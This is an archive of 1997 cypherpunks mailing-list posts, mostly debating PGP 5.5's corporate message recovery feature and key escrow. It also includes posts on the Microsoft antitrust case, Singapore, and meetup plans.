> > Abuse & Security Department              MicroServe Information Systems,
> > Inc.
> > security@admin.microserve.net                100 North Wilkes-Barre
> > Boulevard
> > abuse@admin.microserve.net                   Wilkes-Barre, Pennsylvania
> > 18702
> > http://www.naISPa.org                       (717)821-5964   FAX
> > (717)821-5968
> > -----------------------------------------------------------------------------
> >
> >
> 
~----------------------------------------------------------------------------
Abuse Security Department              MicroServe Information Systems,
Inc.
security_abuse@admin.microserve.net          100 North Wilkes-Barre
Boulevard
abuse_security@admin.microserve.net          Wilkes-Barre, Pennsylvania
18702
http://www.naISPa.orgy                      (717)821-5964   FAX
(717)821-5968
-----------------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 23 Oct 1997 04:42:37 +0800
To: jon@pgp.com
Subject: Re: PGP 5.5 CMR/GAK: a possible solution
In-Reply-To: <3.0.3.32.19971022113904.00bca690@mail.pgp.com>
Message-ID: <199710221948.UAA05752@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Jon Callas <jon@pgp.com> writes:
> At 03:02 AM 10/22/97 -0700, mark@unicorn.com wrote:
>   [CMR tagged keys description]
> 
> You have it mostly right. There's a tag in a self-signature that says,
> "please encrypt to this other key, too." The only time you are required to
> encrypt to Alice's other key is if you and Alice share the same additional
> key (and not always even then).

"Not required to encrypt to CMR key" but "mail will bounce which
doesn't encrypt to CMR key" seems like a fairly small distinction to
me.  So you don't have to encrypt to the CMR key, but if you don't the
message won't get there?  (Of course only when strict flag is set on
policy enforcer, and user id on key you are sending to has CMR request
tag).

Sort of like: you can dial the phone number wrongly if you want, it's
your choice (to avoid phone tap).

And yes you can bypass it, if you're technical, but most people
aren't.  And the bypass can be detected if anyone is checking.

>    So PGP's "everything private unless you choose to make it public" system
>    seems backwards. Surely what we really need to meet these customer demands
>    is an "everything public (within the company) unless you choose to make it
>    private" system? That is, all mail to my department inside the company
>    should be encrypted to a department key, shared by all members, *unless*
>    it is confidential, in which case it should *only* be encrypted to me. 
> 
> This is certainly possible with the system, and in fact easier to implement
> than anything else.

Sounds like a simpler interim solution, if that's what CMR reportedly is?

>    The effect of this is that if someone wants to send email about an urgent
>    bug and I'm out at lunch, any of my co-workers can read that mail. But if
>    they want to send *me* mail about confidential inter-company negotiations,
>    the co-workers could decrypt the outer layer of the message, but would be
>    blocked by the inner layer encryption to my personal key. 
>    
>    As I see it, this system is simple, solves the problems which PGP claim
>    they need to solve without creating the snooping problems Tim and others
>    have discussed, cannot easily be adapted to GAK ('This message is to be
>    encrypted to the FBI public key. If it is confidential, click here to
>    superencrypt to the recipient's personal key'), and won't require a
>    massive change to the PGP source code. 
> 
> This is exactly CMR. The only thing that Business 5.5 does is automatically
> add the department for you, and put up the recipient dialog so it can be
> taken off. Congrats.

It's close, but not quite the same.

The major distinction is that Mark wasn't proposing leaving recovery
information sticking out on email traffic going over the Internet in
the form of CMR extra recipients.  (Also Mark wasn't proposing
bouncing mail which didn't meet requirements)

I you have a policy enforcer set to allow all mails through (no strict
setting), then what Mark described does sound similar at first glance,
but there is actually a very significant difference: there is no
message recovery concept: just emails are encrypted to who they're
meant to be sent to.  (In one case the individual, in the other case
the department).

The outer encryption layer I don't think actually adds anything in
this case (other than potentially extra security if the individual's
passphrase is poor).


Given that, couldn't the same be achieved with 0 modifications?  Have
different keys, some shared, some not.

sales@acme.com
fred@acme.com
jane@acme.com

with sales@acme.com key shared between sales manager and sales
persons?

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 23 Oct 1997 14:58:30 +0800
To: cryptography@c2.net
Subject: Re: Technical Description of PGP 5.5
In-Reply-To: <3.0.3.32.19971015004322.0068ca64@popd.ix.netcom.com>
Message-ID: <3.0.2.32.19971022210316.00727944@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:12 AM 10/15/97 -0700, Kent Crispin wrote:
>Correct me if I'm wrong, but this seems to imply that the CMR fields 
>in the key structure are really just a convenience -- if PGP, Inc. 
>didn't write an smtp filter that enforced a CMR key, someone else
>(say a firewall vendor) could do so easily, defining whatever 
>relationship between keys they wanted.

Anybody with half a brain, a copy of perl, and the PGP 5.0 source from
http://www.pgpi.com/ could write a similar filter in a matter of hours.

I am going to install PGP's SMTP filter on my box. To make it impossible to
accidentally send unencrypted mail to certain people. :-)

>To make that a bit stronger, it seems like *any* model that uses 
>persistent encryption keys essentially enables CMR-like functionality 
>in a smtp filter -- it could be done using pgp 2.6.

Correct. But this isn't going to stop people from complaining.

PGP 5.5 is considerably better than PGP 5.0. The LDAP support alone is
reason to upgrade. The UI is improved and if you don't want to use message
recovery, just don't turn it on.

--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 23 Oct 1997 04:45:37 +0800
To: jon@pgp.com
Subject: Re: shared keys, proxy encryption (was Re: PGP 5.5 CMR/GAK: a possible solution)
In-Reply-To: <3.0.3.32.19971022120251.00bf7b30@mail.pgp.com>
Message-ID: <199710222033.VAA05775@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Jon Callas <jon@pgp.com> writes:
>    The CMR feature in pgp5.5 isn't so far intented to cope with this
>    scenario I think.  That's because pgp5.5 I understand can only
>    generate keys with one CMR request field.
> 
> Well, Adam, you are yet again describing it wrong. You can put in N of
> them. You are right that the 5.5 UI isn't general. 

I did understand that even pgp5.0 standard allows multiple CMR keys,
but I thought that the pgp5.5 UI doesn't allow generation of keys with
more than CMR packet per userid... so sounds like we agree?

One thing I never did get clear is: does pgp5.0 know how to reply to
the CMR denoted extra recipients?

> Also, there's another thing you're not describing correctly. This is not a
> feature of the key -- it's a feature of the user name, and included in a
> user name's self signature. It can be changed at any time, and you can even
> have an ambivalent key that has a username with the CMR packet
> (salesdweeb@foobar.com) and a without it (jblow@foobar.com).

Excuse me, yes, I have been tending to talk about the CMR being
attached to the key, while it is actually attached to the userid, of
which there can be many.  I tended to view this as a valid
simplification, because, if I understood correctly, the pgp5.5
business suite allows an administrator to configure the pgp5.5 client
which employees will be using to enforce that there _will_ be a CMR
packet on all userids?  And also most users are likely to have just
one userid.

In other words, I am not denying any of the functionality that it does
have, in being able to be used in privacy respecting ways, but rather
I am describing the most strict settings that the software attempts to
enforce if so configured.  This is still interesting because one
suspects some companies will use it this way, otherwise the
functionality wouldn't have been provided.

>   [...]
> 
> This is why any sort of shared or escrowed keys suck. But in most cases
> it's good enough, because when Fred leaves sales, he loses access to the
> sales computers.

It's not that good because even though he loses access to the
computers, if he retains a copy of the private key, he (or the
competitor he has left to join) can fairly easily obtain the
ciphertext of emails.

Proxy encryption is a good solution to this, if it works for the EG
keys you are using.  Or super encryption or TLS to protect the company
internal multiple crypto recipients.  I am not so much against CMR
crypto recipients per se, as I am against allowing these to show
outside the LAN -- too tempting for governments.

>    Really it seems to me that actually having half a dozen sales droids
>    sharing a key, or being able to decrypt a message because they are all
>    CMR enforced multiple crypto recipients is a security nightmare either
>    way :-)
>    
>    Reckon it would be arguably more secure to have the SMTP policy
>    enforcer decrypt it for them, even.
> 
> Really? You think the SMTP agent should be decrypting? Wow. I don't. 

It clearly could be more secure in some environments, with crypto
illiterate users who can't remember good passwords, or who have
tendency to write them down.  If they're all sharing keys because
they're all part of the same sales team, and the traffic is fairly low
security, I wouldn't discount it out of hand.

> I think that's *really* intrusive, and worse than what we did.

I think that is where we differ ... you focus on privacy principles,
and end up having less security and less resistance to government
abuse.

The above is merely an ergonomics trade off for some environments.  It
doesn't overly help governments snoop, and can be used where
appropriate.

You can still have individual personal use keys, or any other privacy
respecting architecture.  If we were to argue about how systems could
be abused (either government or company abuse) CMR could be abused
with an enforced CMR key on all company keys, and some software to
read all mail before delivery, and approve all mail on the way out.
CMR could also be potentially be abused by governments in passing laws
saying communications keys must have government as a CMR recipient,
and in being able to enforce this by spot checking emails in transit,
and/or via deputised ISPs with binding cryptography used to allow
untrusted fourth parties to check session keys match.

> Interestingly enough, there are a number of people (like Bruce
> Schneier) who have no problem with the additional encryption part,
> but think that the SMTP agent is the work of the devil.

The enforcement part of it is :-)

Multiple encryption over done with too many long term keys also tends
to be a security risk.  Basing recovery procedures on storage recovery
avoids this trend, and avoids the need to have recovery of
communications keys at all for the defined corporate user requirement.

>    Another method of authenticating TLS is to base the authentication on
>    the user's PGP WoT.  Include authentication information to the
>    delivery agent which is capable of TLS, which is also exchanged inside
>    the encryption envelope.  (Eg. transfer an authentication symmetric
>    key k1 inside the encryption envelope; send the local TLS capable SMTP
>    hub / SMTP policy enforcer the key k1.  The TLS forward secret key
>    negotiation can then be authenticated using this key.  The remote TLS
>    system can tack the authentication information on to the delivered
>    message, in a header, or otherwise, and the recipient can check the
>    authentication).
> 
> Note that the user's WoT is stored in the user's keyring. There's an
> operational problem here. This means that the MTA has to have access to all
> users' pubrings. This is not a good thing, to my mind.

No, I think you misunderstood the above.

MUA sends X-MTA-authentication only if the MTA is TLS aware, then it
sends:

To: fred@acme.com
X-MTA-auth: 12345678

-----BEGIN PGP MESSAGE-----
blah blah
-----END PGP MESSAGE-----

the local MTA strips out X-MTA-auth info.  Local MTA does a DH key
exchange with the remote MTA.  Local MTA encrypts with symmetric
cipher (say IDEA or something) the hash of DH parameters and
negotiated DH key with X-MTA-auth key, and puts back in header:

X-MTA-auth: abcd1234abcd1234abcd1324abcd

The receiving MTA leaves that alone, but adds a line telling the MUA
the DH key hash:

X-MTA-key: 567856785678

The MUA hands the X-MTA-auth line to the pgp implementation, together
with the encrypted message.  You have another packet inside the pgp
encryption layer which tells the receiving MUA the sending client's
info... and PGP can check the authenticate the DH key exchange after
the fact.  If there is a MITM you will know about it.

Neat because it doesn't require separate key infrastructure which
always ends up having less meaning to the user being down at the mail
hub level.  And yet you have real interactive perfect forward secrecy.

>    It is possible that
>    there is an unstated perceived user requirement, that the messaging
>    standard be able to allow third party access to the communications
>    traffic directly.
> 
> Nope, that's not what we're arguing for. 

OK, thanks.  I'll stop speculating on that one then.

> What we're arguing for is an alternative to key escrow -- the kind
> where your employer keeps your secret key just in case they need it.

Please read:

	http://www.dcs.ex.ac.uk/~aba/cdr/

It also avoids key escrow for communication keys, and allows separate
personal and company use storage keys, makes recommendations for
sender and receiver statement of intent about plaintext handling, has
more ergonomic recovery options, and allows more secure more frequent
communication key updates.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ariel Glenn <ariel@watsun.cc.columbia.edu>
Date: Thu, 23 Oct 1997 09:54:02 +0800
To: Kent Crispin <kent@bywater.songbird.com>
Subject: Re: puff pieces vs tough crypto issues (Re: Singapore TOILET ALERT)
Message-ID: <CMM.0.90.4.877570674.ariel@stealth.cc.columbia.edu>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin writes:
>They could wave around TIS's products (designed by noted cypherpunk
>Carl Ellison, I believe), or NorTel's Entrust, just as well.  Hell, in
>a few months they may be able to wave around Adam Backs CDR product,
>which also facilitates GAK...[deleted]

sure, but PGP has a certain name recognition that appears to extend
beyond the computing business community; ask your average cs
student what PGP is and they'll have heard of it *and* its
reputation. Ask them about Entrust and see if you get the same 
result. (I could do that here with my managers as a demo. :-)
Now figure out what your representatives in Congress know: even
less.

So, PGP gets cited by Congress as an example, and the other
corporations building in GAK or who have signed on to get that good
export license for DES don't.

Ariel Glenn
ariel@columbia.edu





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 23 Oct 1997 11:26:03 +0800
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Subject: Re: PGP, Inc.--What were they thinking?
In-Reply-To: <01bcdf5a$4a2d3a60$06060606@russell>
Message-ID: <199710230254.WAA18427@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



In <01bcdf5a$4a2d3a60$06060606@russell>, on 10/22/97 
   at 10:20 PM, "Phillip M. Hallam-Baker" <hallam@ai.mit.edu> said:

>I really don't want to get into a standards flamewar, the point I'm
>making is that this is a bigger issue in the Enterprise market than key
>escrow at this point. Phil claims to have an RSA license, if he wants to
>go after the enterprise market he can support S/MIME.

Nothing personal Phil but that is the most brain dead sugestion I have
seen on this list in a long time. Well I can see that getting a paycheck
from Verisign hasn't tanted your viwes in favor of an inferior standard.

-- 
---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
---------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Thu, 23 Oct 1997 11:24:47 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Bill Gates, the Bully Savior
In-Reply-To: <v0300780cb073f0205b7b@[168.161.105.141]>
Message-ID: <Pine.SOL.3.96.971022215855.9350C-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



Well, nobody is purporting to decide for anybody, as I understand
the case, what is an "operating system" in general. DOJ only 
seeks to enforce what MS agreed to, in the Decree. If those two
parties chose to define OS for that pupose, and only for that
purpose, as blanketyblank, why do we care? Because that's all
their litigation is about.
MacN

On Wed, 22 Oct 1997, Declan McCullagh wrote:

> There was a good op-ed in the WSJ on Monday. The Politics of Envy,
> basically. Why everyone in Silicon Valley hates Microsoft...
> 
> But some of the complaints about Microsoft come down to personal taste. The
> masses offend refined sensibilities when they buy Windows 95 in droves.
> Rein them in! Stop them from buying what they want! Don't let them get free
> copies of Internet Explorer.
> 
> I share Lizard's distaste for Microsoft products. My Unix workstation at
> home has not one MSFT application on it. I have only Microsoft Word on my
> Duo at work, and I could get by with WordPerfect. But our dislike for their
> products doesn't mean that we are morally justified in restricting what the
> company can do.
> 
> -Declan
> 
> 
> 
> At 10:42 -0700 10/22/97, Lizard wrote:
> >Uhm...how do 'we all' benefit from having the same Justice Department which
> >defended the CDA (and which is pushing for GAK) decide for us all what is,
> >and is not, part of an operating system?
> >
> >These people are not qualified to make ANY judgements about computers -- I
> >have to assume the 'experts' they got to tell them about OS software are no
> >more qualified than the 'experts' they got to testify about the CDA (L-18,
> >anyone?).
> >
> >I have no great love for Microsoft (I don't think anyone forced to use
> >their crappy software does), and, emotionally, I'd like to see them get
> >taken down a peg -- but legally and ethically, they are not doing anything
> >wrong. They're just being tough competitors. Microsoft has prospered not
> >due to any technical brilliance on their part, but due to sheer
> >incompetance on the part of the rest of the industry, who have made a hobby
> >of underestimating Bill Gates and overestimating their own customers loyalty.
> >
> >It's a pity I'm a mind-flaying victim. If I wasn't, I could forget
> >principles and ideals and just say, "Microsoft Big. Microsoft Nasty. Uncle
> >Sam stomp Microsoft. Yay, Uncle Sam." But because I work from principle
> >FIRST, I have to grant Microsoft the same rights I would grant Sam's Deli
> >or Joe's Shoe Store, and that includes the right to offer any combination
> >of products or services they wish, and let the market decide to buy or not.
> 
> 
> 
> -------------------------
> Declan McCullagh
> Time Inc.
> The Netly News Network
> Washington Correspondent
> http://netlynews.com/
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Thu, 23 Oct 1997 10:54:36 +0800
To: "Declan McCullagh" <tcmay@got.net>
Subject: Re: PGP, Inc.--What were they thinking?
Message-ID: <01bcdf5a$4a2d3a60$06060606@russell>
MIME-Version: 1.0
Content-Type: text/plain



I should point out before starting that I now work for Verisign. This
following personal opinion however and may not reflect any corporate policy
that may or may not exist.


I can understand the pressures on PGP to support key escrow. When I designed
the Shen trust system for the Web I allowed for an escrow facility for much
the same reasons that have been cited.

If it was not for the unrelenting pressure from the US government to support
GAK I am sure that commercial escrow would be a checkbox item. The problem
is that as long as the pressure is there any step towards commercial escrow
is also a step towards GAK.

The problem with PGP's move is that it is the first significant break by the
Internet software provider community. This will make it much easier for
Netscape or Microsoft to cave in. It will also build the pressure on them.
I wonder what would happen to Bills problem with the DoJ if he had a sudden
change of heart. Somehow I don't see Netscape and Microsoft holding the line
on GAK if PGP are happily exporting their product and grabbing market share.

I really did not expect Phil Zimmerman to be the first to blink.

I also don't understand it from the corporate perspective. PGP may be
picking up some business in the corporate market but at the cost of
alienating a significant part of the hacker community which has been his
best supporter up till now. I would think his best strategy would have been
to build on this customer base rather than sell it out at the first
opportunity.

If Phil Z. wants to get into the Enterprise market he is going to have to
start speaking their language. Most companies today are looking for open
standards. PGP may have been the de facto security solution three years ago
but the reality today is several million copies of Comminicator and Explorer
with S/MIME built in. If you are prepared to load certs manually for each
person you communicate with you can even use the Web of trust model with
S/MIME. Its easier if you can rely on a CA. I probably don't have to remind
many people on this list that few people make security a priority although
they are prepared to do so if it has little impact on them personally.

I really don't want to get into a standards flamewar, the point I'm making
is that this is a bigger issue in the Enterprise market than key escrow at
this point. Phil claims to have an RSA license, if he wants to go after the
enterprise market he can support S/MIME.


        Phill






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 23 Oct 1997 13:07:38 +0800
To: cypherpunks@toad.com
Subject: (Fwd from f-c) Note from PGP employee on MRK
Message-ID: <v03007808b074685bfedd@[204.254.21.122]>
MIME-Version: 1.0
Content-Type: text/plain



>X-POP3-Rcpt: declan@relay.pathfinder.com
>Subject: Re: PGP, Inc.--What were they thinking?
>Date: Wed, 22 Oct 97 20:38:14 -0400
>x-sender: Jamie-McCarthy.org@mm.mailbank.com
>From: Jamie McCarthy <jamie@mccarthy.org>
>To: <fight-censorship@vorlon.mit.edu>
>cc: "Jason Bobier" <jason@pgp.com>
>Mime-Version: 1.0
>Sender: owner-fight-censorship@vorlon.mit.edu
>X-Loop: fight-censorship@vorlon.mit.edu
>X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/
>X-FC-URL: To join send "subscribe" to fight-censorship-request@vorlon.mit.edu
>
>A friend of mine by the name of Jason Bobier <jason@pgp.com> happens
>to work at PGP, Inc.  I'll preface his comments by pointing out that
>I'm sure he doesn't speak for the company in any way.
>
>> Unfortunately these people just don't get it. Corporations refused
>> to buy 5.0 because it did not have any way for the corps to get at
>> email encrypted to their employees. There are some very legitimate
>> uses of this, such as when an employee dies and someone else has
>> to take over for them.
>>
>> Without corps buying the product, there is no PGP, Inc., and thus
>> no dedication of resources to the production of PGP. This leads us
>> back to the floundering state of development that PGP was in
>> before 5.0.
>>
>> They also don't seem to realize that you always have the ability
>> to remove the MRK from your list of recipients.
>>
>> Sometimes I really feel like screaming at these people. _All_ of
>> the developers at PGP are personal privacy zealots and no one
>> likes the idea of the MRK. That is why we refuse to make them
>> required. It is also why there still are freeware and personal
>> versions of the product. I wish they would just realize that we
>> aren't some evil group of people that are solely plotting how to
>> make the most money off of this. Most everyone at PGP has
>> internalized personal privacy as a cause (actually most had it
>> before they joined PGP).
>>
>> *sigh* OK, enough ranting. Feel free to quote various parts of
>> this if you feel like responding to the list.
>>
>> Jason
>
>
>--
> Jamie McCarthy                       new email => jamie@mccarthy.org
> homepage: http://www.absence.prismatix.com/jamie/
>   fan of: http://www.nizkor.org/
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Thu, 23 Oct 1997 05:09:20 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: PGP, Inc.--What were they thinking?
Message-ID: <199710222045.WAA03143@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>Agreed. What amazes me is how PGP, Inc. would decide this should be a core
>part of their company. "PGP for Business," indeed. What were they thinking?

Um, maybe that they wanted to stay in business?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: klockstone@cix.compulink.co.uk (Keith Lockstone)
Date: Thu, 23 Oct 1997 06:40:21 +0800
To: cypherpunks@cyberpass.net
Subject: A5
Message-ID: <memo.614305@cix.compulink.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



The A5 code in the back of Schneier's 'Applied Cryptography' seems to have some
errors in it - has anybody else had a serious play with it?

Keith.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 23 Oct 1997 12:21:50 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: PGP, Inc.--What were they thinking? (fwd)
Message-ID: <199710230436.XAA17097@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 22 Oct 1997 19:57:59 -0600
> From: TruthMonger <tm@dev.null>
> Subject: Re: PGP, Inc.--What were they thinking?

>   *Starts* eavesdropping? Where you been, Bubba?
>   When a Company has the 'right' to wiretap you, search you, and make
> you piss in a jar, as well as having their own armed forces monitoring
> you and patrolling your workplace, the main difference between them
> and the government is that the corporation usually doesn't pretend
> to allow you to vote.

This is plain and simple bullshit. There are a variety of differences
between a government and what they can do by general charter in a democracy
and a company which operates on specific contracts.

> TruthMonger

ParanoiaMonger is more like it.



    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Love <love@cptech.org>
Date: Thu, 23 Oct 1997 13:00:21 +0800
To: Paul Spirito <berezina@qed.net>
Subject: Proof IE4 not an OS, was Re: Bill Gates, the Bully Savior
In-Reply-To: <v02140b0bb04c1c1277c7@[206.221.201.7]>
Message-ID: <344EC65C.68D2370@cptech.org>
MIME-Version: 1.0
Content-Type: text/plain



Nifty comment by Michael McMain on JavaLobbyCafe@iceworld.org
list:

--------------------------

A friend at work made an interesting point about MS's claim that IE4 is
simply an OS extension and not an application.  All the DA has to do is
turn on a Power Mac, start IE4, turn to MS and say "So what other parts
of your OS run on the Macintosh exactly?".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Harish Pillay <harish@ganymede.contact.com.sg>
Date: Thu, 23 Oct 1997 00:03:22 +0800
To: declan@well.com (Declan McCullagh)
Subject: Re: Singapore TOILET ALERT
In-Reply-To: <v03007804b073ab366f27@[204.254.22.221]>
Message-ID: <199710221543.XAA11390@ganymede.contact.com.sg>
MIME-Version: 1.0
Content-Type: text



Declan -

> [Apologies to my friends in Singapore, but I am NOT making this up. --Declan]

No apologies needed.  You don't have to make things up - we have lobotomized 
civil servants and ministers to do that.  On the other hand, some of the users 
of public toilets themselves are or need to be lobotomized!

Another issue: The Singapore Broadcasting Authority has issued "clarifications"
to their own lobotomized Internet Code of Practise (issued July 1996).
Check www.sba.gov.sg for more info.

>  And the top five toilets are...
>      SINGAPORE (Reuters) - A drive to keep public toilets clean
> and dry is meeting with overwhelming success, the Ministry of
> Environment said in a "toilet alert" Tuesday.
>      The statement said that in the first week "5,000
> Singaporans have called the Clean Public Toilets hotline to
> identify Singapore's model toilets and to vote for their top
> five favorite toilets."
>      The ministry launched a poster competition earlier in the
> month featuring three model toilets and inviting the public to
> identify their locations, as well as to nominate their favorite
> public toilets in five categories of locations.
>      Various prizes are involved, including a return trip to Hong
> Kong to be won in a draw.
>      Singapore is known for public campaigns promoting causes
> ranging from discouraging littering to encouraging people to
> have more children.

And for banning the sale of chewing gum, purchase of guns, jaywalking,
speeding, armed robberies, rapes, defamations suits, murders etc.  Damn,
we are beginning to sound (smell??) like New York City. *shivers*

Enjoy.
-- 
Harish Pillay                             	  h.pillay@ieee.org
Singapore      *** Ask me about Linux *** http://home.pacific.net.sg/~harish





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 23 Oct 1997 12:27:11 +0800
To: cypherpunks@toad.com
Subject: Trip to SF/Bay Area around November 24, cypherpunk meeting?
Message-ID: <v0300780db074787fcbe4@[204.254.21.122]>
MIME-Version: 1.0
Content-Type: text/plain



I'm thinking of spending a few days in the Bay Area in about a month, maybe
the week of Thanksgiving. My S.O., a cypherpunkish Net and
telecommunications lawyer here in DC, seems likely to join me.

I'd love to come to a Bay Area cypherpunk meeting if there are any then,
and spend some time with folks out there. Any plans to have one around Nov
24-27?

This is more of a pleasure than a business trip, though I'll write an
article if there are any interesting developments on the crypto-front. (Any
suggestions on places to stay?)

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 23 Oct 1997 13:03:50 +0800
To: fight-censorship@vorlon.mit.edu
Subject: DC cypherpunks party on Sunday, November 2
Message-ID: <v0300780ab0746b71b8ce@[204.254.21.122]>
MIME-Version: 1.0
Content-Type: text/plain



A DC cypherpunk working meeting and party is tentatively scheduled for
Sunday, November 2. The party is open to all, including non-cypherpunks and
even (especially?) NSA spooks. (I somehow got suckered into organizing this
portion.)

Folks who showed up to my party and the cypherpunk meeting before it last
month remember that Marc Rotenberg and his wife at that time volunteered to
host the next one. Their home is near the National Cathedral in NW
Washington, DC. About a 20 minute walk from the Woodley Park Metro, lots of
parking.

Special guests likely will include Peter Neumann and Simon Davies.

Details forthcoming.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 23 Oct 1997 06:56:59 +0800
To: cypherpunks@toad.com
Subject: Re: puff pieces vs tough crypto issues (Re: Singapore TOILET ALERT)
Message-ID: <199710222235.AAA18712@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back wrote:
> No offense Declan, but what has this got to do with cypherpunks,
> cryptography, crypto politics etc?  (This is not a perrygram, this is
> a message saying I found that particular article uninteresting).

Adam,
I believe that Declan may be trying to keep things in perspective,
by reminding us who the actual users of "widespread crypto" will
be, GAK or no GAK.
As a matter of fact, Declan and I are counting on you to explain
the issues involved to our good friend and neighbor, Debbie (details
below), and get back to us with her thoughts on the crypto issues
which are relevant, from her perspective.

* At a celebrity auction in May, Debbie Dacoba of Paw Paw,
Mich., bid $8,625 for a pair of Mr. Ed's horseshoes and was so
overcome with joy when she won that she had to retreat to the
ladies' room for 20 minutes until she stopped crying.  Later she told
a reporter that she would keep the horseshoes in plastic because
specks of brown residue in the nail holes "could be manure, which I
hope it is because then I have a piece of him." 

ManureMonger
~~~~~~~~~~~~
To read these News of the Weird newspaper
columns from the past six months, go to
http://www.nine.org/notw/notw.html
(That site contains no graphics, no photos, no video clips, no
audio.  Just text.  Deal with it.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 23 Oct 1997 06:48:06 +0800
To: cypherpunks@toad.com
Subject: We have to keep our keys for HOW long???
Message-ID: <199710222235.AAA18715@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



* The Wall Street Journal reported in July that the Environmental
Protection Agency has ordered 71 mining companies in Idaho to
submit copies of all of the paperwork they have produced in the last
117 years.  EPA says it needs the information to help determine
who is responsible for lead pollution in Idaho's Silver Valley. 
According to the president of one firm, the order was so crazy that
the EPA investigators "must not live on this planet."  Another
pointed out that there are not enough copy machines in the region
to handle the work. 

To read these News of the Weird newspaper
columns from the past six months, go to
http://www.nine.org/notw/notw.html
(That site contains no graphics, no photos, no video clips, no
audio.  Just text.  Deal with it.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 23 Oct 1997 15:41:44 +0800
To: cypherpunks@toad.com
Subject: Re: Technical Description of PGP 5.5
Message-ID: <199710230735.DAA21516@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19971022210316.00727944@netcom10.netcom.com>, on 10/22/97 
   at 09:03 PM, Lucky Green <shamrock@netcom.com> said:

>At 07:12 AM 10/15/97 -0700, Kent Crispin wrote:
>>Correct me if I'm wrong, but this seems to imply that the CMR fields 
>>in the key structure are really just a convenience -- if PGP, Inc. 
>>didn't write an smtp filter that enforced a CMR key, someone else
>>(say a firewall vendor) could do so easily, defining whatever 
>>relationship between keys they wanted.

>Anybody with half a brain, a copy of perl, and the PGP 5.0 source from
>http://www.pgpi.com/ could write a similar filter in a matter of hours.

